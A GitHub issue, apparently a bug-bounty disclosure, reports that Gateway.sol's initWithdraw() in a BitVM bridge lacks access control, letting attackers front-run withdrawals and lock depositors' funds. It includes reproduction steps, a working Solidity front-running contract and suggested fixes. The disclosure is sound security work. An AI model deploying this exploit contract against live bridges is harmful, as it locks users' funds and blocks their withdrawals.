Skip to content

[Bridge Smart Contract] initWithdraw() lacks operator identity check — front-run locks depositor's pegin UTXO with no recovery path #474

Description

@heraldi

CVSS 3.1: 8.1 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Description of the vulnerability

Gateway.sol's initWithdraw(bytes16 instanceId, bytes16 graphId) is an external function with no access control modifier. It does not verify that msg.sender is the depositor who originally created the pegin request (peginData.depositorAddress), nor that msg.sender is the registered operator for this graph instance.

Any address holding sufficient pegBTC can call initWithdraw() on a pegin that has reached Withdrawable status. This locks the pegin UTXO on the Bitcoin side and prevents the legitimate depositor from withdrawing their BTC back to Bitcoin.

Additionally, the user-side cancelWithdraw() function is fully commented out in the current source code. The only cancel path is committeeCancelWithdraw(), which requires committee signature approval and returns the locked pegBTC to withdrawData.operatorAddress — which, after a front-run, is the attacker, not the original depositor.

Affected component(s)

  • Bridge Smart Contract: bitvm-L2-contracts/src/Gateway.sol — initWithdraw() function
  • Bridge lifecycle phase: Withdrawal initialization (peg-out flow)
  • Related: cancelWithdraw() (commented out), committeeCancelWithdraw() (wrong recipient after front-run)

Steps to reproduce

  1. User calls postPeginRequest() → peginData.depositorAddress = user, peginData.status = Pending
  2. Committee members call answerPeginRequest() → committee pubkeys registered
  3. Committee calls postPeginData() with valid pegin tx + merkle proof + sigs → status = Withdrawable, pegBTC minted to depositor
  4. Committee calls postGraphData() with operator's graph → graph linked to instance
  5. Operator prepares initWithdraw() transaction (locks pegBTC, initiates BTC-side peg-out)
  6. Attacker observes the mempool and front-runs the operator's initWithdraw() with identical instanceId/graphId parameters but attacker's address
  7. Attacker's call succeeds: peginData.status = Locked, withdrawData.operatorAddress = attacker
  8. Operator's original transaction reverts: status is now Locked, not Withdrawable
  9. No cancelWithdraw() function exists (commented out) for the real operator to recover

Proof of concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGateway {
    function initWithdraw(bytes16 instanceId, bytes16 graphId) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

/// @notice Attacker contract that front-runs the operator's initWithdraw()
/// @dev Requires: attacker holds pegBTC >= lockAmount and has approved this contract
contract FrontRunInitWithdraw {
    IGateway public immutable gateway;
    IERC20 public immutable pegBTC;

    constructor(IGateway _gateway, IERC20 _pegBTC) {
        gateway = _gateway;
        pegBTC = _pegBTC;
    }

    function frontRun(
        bytes16 instanceId,
        bytes16 graphId,
        uint256 pegBTCAmount
    ) external {
        // Step 1: Approve the Gateway to pull our pegBTC
        pegBTC.approve(address(gateway), pegBTCAmount);

        // Step 2: Call initWithdraw — succeeds if we are first
        // This locks the pegin UTXO and sets us as withdrawData.operatorAddress
        gateway.initWithdraw(instanceId, graphId);

        // At this point:
        // - peginData.status = Locked (was Withdrawable)
        // - withdrawData.operatorAddress = address(this)
        // - withdrawData.status = Initialized
        // The real operator's initWithdraw() will revert with WithdrawStatusInvalid
        // The real depositor cannot withdraw BTC back to Bitcoin
    }
}

On-chain state after front-run:

Field Before After
peginData.status Withdrawable Locked
withdrawData.operatorAddress zero address attacker
withdrawData.status None Initialized

The real depositor's BTC on the Bitcoin side cannot be recovered through the bridge because:

  • initWithdraw() reverts (status is Locked, not Withdrawable)
  • cancelWithdraw() is commented out in the source
  • committeeCancelWithdraw() sends pegBTC to withdrawData.operatorAddress (the attacker)

Security impact

  1. Griefing: Any attacker can permanently lock a depositor's pegin UTXO by front-running, preventing them from exiting the bridge. The depositor's BTC is stuck on the Bitcoin side.

  2. No recovery path: cancelWithdraw() is commented out. The depositor has no user-side mechanism to cancel a front-run withdraw and re-initialize.

  3. Wrong fund recovery: Even if the committee intervenes via committeeCancelWithdraw(), the locked pegBTC is returned to withdrawData.operatorAddress — which after the front-run is the attacker. The real depositor does not recover their pegBTC.

  4. Mempool sniping surface: Because initWithdraw() is a standard external call, its parameters (instanceId, graphId) are visible in the public mempool, making front-running trivially exploitable with standard MEV infrastructure.

Why this is in scope

This falls under the bounty's stated scope of "Peg-in and peg-out flows", "Bridge state transitions", and "Bridge Smart Contracts". The vulnerability enables a practical attack on the complete bridge lifecycle during the withdrawal phase.

Severity justification

HIGH (CVSS 8.1): While this is primarily a griefing/stuck-funds vector (attacker cannot directly steal the depositor's BTC), it creates a denial of withdrawal scenario where the depositor's BTC is locked on the Bitcoin side with no user-side recovery. The compounded issue of cancelWithdraw() being commented out and committeeCancelWithdraw() returning funds to the wrong party elevates this beyond simple griefing.

If initWithdraw() is intentionally permissionless (i.e., any party can initiate withdrawal by locking pegBTC), then the missing piece is the recovery path — cancelWithdraw() being commented out means the depositor cannot reclaim their pegin if someone else front-runs the initialization.

Suggested fix

Option A — restrict to depositor:

function initWithdraw(bytes16 instanceId, bytes16 graphId) external {
    PeginDataInner storage peginData = peginDataMap[instanceId];
    require(msg.sender == peginData.depositorAddress, "NotDepositor");
    // ... rest of the function
}

Option B — restrict to graph operator:

modifier onlyGraphOperator(bytes16 graphId) {
    GraphData storage graphData = graphDataMap[graphId];
    address operatorAddr = stakeManagement.pubkeyToAddress(graphData.operatorPubkey);
    require(msg.sender == operatorAddr, "NotGraphOperator");
    _;
}

function initWithdraw(bytes16 instanceId, bytes16 graphId) external onlyGraphOperator(graphId) {
    // ... existing logic
}

Option C — re-enable cancelWithdraw():
Uncomment and fix the commented-out cancelWithdraw() function to provide a user-side recovery path even if initWithdraw() remains permissionless.


Full scan artifacts available on request. The vulnerability was identified through source code analysis of the bitvm-L2-contracts repository (default branch).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions